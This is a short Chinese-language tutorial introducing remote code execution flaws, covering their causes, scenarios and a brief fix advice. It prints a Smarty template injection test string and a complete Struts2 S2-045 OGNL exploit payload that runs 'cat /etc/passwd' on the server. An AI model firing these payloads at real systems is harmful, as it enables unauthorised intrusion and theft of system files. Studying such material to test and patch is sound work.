1. 程式人生 > 實用技巧 >rce漏洞 遠端程式碼執行 簡介

rce漏洞 遠端程式碼執行 簡介

0x00 遠端程式碼執行 - 介紹

1)什麼是遠端程式碼執行

遠端命令執行 英文名稱:RCE (remote code execution),簡稱RCE漏洞,是指使用者通過瀏覽器提交執行命令,由於伺服器端沒有針對執行函式做過濾,導致在沒有指定絕對路徑的情況下就執行命令,可能會允許攻擊者通過改變 $PATH 或程式執行環境的其他方面來執行一個惡意構造的程式碼。

2)遠端程式碼執行的特點

遠端程式碼執行是指攻擊者可能會通過遠呼叫的方式來攻擊或控制計算機裝置,無論該裝置在哪裡

0x01 遠端程式碼執行 - 風險等級

0x02 遠端程式碼執行 - 原理

由於開發人員編寫原始碼,沒有針對程式碼中可執行的特殊函式入口做過濾,導致客戶端可以提交惡意構造語句提交,並交由伺服器端執行。命令注入攻擊中WEB伺服器沒有過濾類似system(),eval(),exec()等函式是該漏洞攻擊成功的最主要原因。

0x03 遠端程式碼執行 - 常見場景

  • 使用了危險函式的Web應用
  • 低版本的Java語言Struts框架

0x04 測試方案

PHP中常見場景 - 模板引擎程式碼執行

Smarty簡介

Smarty是一個PHP的模板引擎。更明確來說,它可以幫助開發者更好地 分離程式邏輯和頁面顯示。最好的例子,是當程式設計師和模板設計師是不同的兩個角色的情況,而且 大部分時候都不是同一個人的情況。

CVE-ID : CVE-2017-1000480

產生原因:由於未對使用者的輸入點進行過濾,導致經過eval函式,造成程式碼執行

測試Payload:

*/phpinfo();/*

Java Struts2 (S2-045)

Struts 簡介

Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與檢視的資料互動。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合併的全新的Struts 2框架。

CVE-ID : CVE-2017-5638

產生原因:由於未對使用者輸入點進行過濾,被帶入ErrorMessage,當做OGLN表示式解析,造成程式碼執行

測試Payload:

%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

0x05 修復方案

升級外掛、框架新版本